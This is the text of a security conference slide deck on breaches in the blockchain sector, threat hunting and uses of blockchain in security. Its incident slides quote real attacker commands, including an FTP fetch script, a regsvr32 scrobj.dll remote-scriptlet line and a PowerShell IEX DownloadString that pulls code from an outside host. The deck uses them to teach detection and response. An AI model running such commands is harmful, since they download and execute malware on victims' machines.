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AGENDA
• Brief History Lesson

• Detection and Response in Blockchain 

• Potential Blockchain Applications and Data 
Sources
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BRIEF HISTORY LESSON01



2015: Phishing through email and Skype

2011-2014: Unencrypted wallet keys 

HACKS IN BLOCKCHAIN

2016: Smart Contract flaw

2018: Targeted Hot Wallet

2018: API flaw*

2016: Multisignature flaw

2017: Social Engineering
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HACKS IN BLOCKCHAIN

DELIVERY

• Phishing Documents

• Browser Extensions

• Websites

• Smart Contract Exploit

• Compromised Credentials/Private Keys

• Personal Information

PAYLOAD

• Macro Document

• Clipboard Stealer

• Crypto Miner

• Smart Contract flaw

• API Flaw

• Social Engineering

OBJECTIVE

• Credentials

• Hot Wallet Private Keys

• CPU/GPU Cycles

• Offchain to Onchain
transactions
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DETECTION AND 
RESPONSE

Threat Hunting

02
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Anomalous 
Event seen

cmd.exe /c echo open ftp.ftp0118.info>p&echo test>>p&echo 1433>>p&echo
get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p

Detection and 
Response Team

Enumeration

cmd.exe cacls.exe C:\Windows\system\*.* /e /p system:n
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TYPICAL INCIDENT

Report to 
Mining Pool

Incident closedChain/Wallet 
Analysis

Remediate 
Affected HostC&C 

Mining Pool

regsvr32.exe /u /s /i:http://js.5b6b7b.ru:280/v.sct scrobj.dll

Payload analysis

Wallet Address

Powershell.exe “if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(‘64)){IEX(New-
Object Net.WebClient).DownloadString(i:http://js.5b6b7b.ru:8000/a.ps1)}

Anomalous 
Event seen

Enumeration

Report to 
Mining Pool

Incident closedChain/Wallet 
Analysis

Remediate 
Affected HostC&C 

Mining Pool

Payload analysis

Wallet Address



TYPICAL TIMELINE

First 
Delivery

Domain
Compromise

Admin
Compromise

Hot/Cold 
Wallets

Payment 
Systems

X Days

Lateral 
Movement

MGMT 
Network

Compromise

Learn 
Systems

Achieve 
Objective

Weaponize
Exit 

Strategy

MGMT

Y Days

0 Days



PUBLIC

BLOCKCHAIN IN CYBER 
SECURITY03

Potential Applications 
and Data Sources



DO I NEED A BLOCKCHAIN? 

Do you 
need to store 

state?

Are there 
multiple 
writers?

yes
Can you 

use an always 
online TTP?

yes

Don’t use 
Blockchain

no no yes

Are all 
writers 
known?

no

Are all 
writers 
trusted?

yes

Permissionless
Blockchain

no

yes

Is public 
verifiability 

required?
no

Public 
Permissioned 
Blockchain

yes

Private 
Permissioned 
Blockchain

no

Wust and Gervais https://eprint.iacr.org/2017/375.pdf

I S*!T you not
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PRIVATE BLOCKCHAINS

• Identity Management

• Data Sanity and Integrity

• Operating Systems

DATA SOURCES

• Chain Analysis

• Threat Intelligence

BLOCKCHAIN IN 
CYBER SECURITY
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CONCLUSION04
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• Security breaches in the Blockchain space happen in the same way as other sectors

• Cryptocurrency Exchanges and Retail User Machines are the main targets

• Best Data Sources come from Malware Analysis and Chain Analysis

• Data Immutability and Decentralization are the main benefits 

• Tech maturity and Developer shortage are the main drawbacks

CONCLUSION



QUESTIONS
@COUNTERCEPT



• https://komodoplatform.com/security-delayed-proof-of-work-dpow/

• https://eprint.iacr.org/2017/375.pdf

• https://vulners.com/thn/THN:F03064A70C65D9BD62A8F5898BA276D2

• https://medium.com/@jimmysong/mt-gox-hack-technical-explanation-37ea5549f715

• https://www.digitaltrends.com/computing/malware-steals-cryptocurrency-wallet-address-clipboard/

• https://thenextweb.com/hardfork/2018/08/09/tron-cryptocurrency-blockchain-toilet/

• https://www.youtube.com/watch?v=eN5i35Xp1bE – Amber Baldet Closing Keynote

• https://blockgeeks.com/guides/cryptocurrency-hacks/
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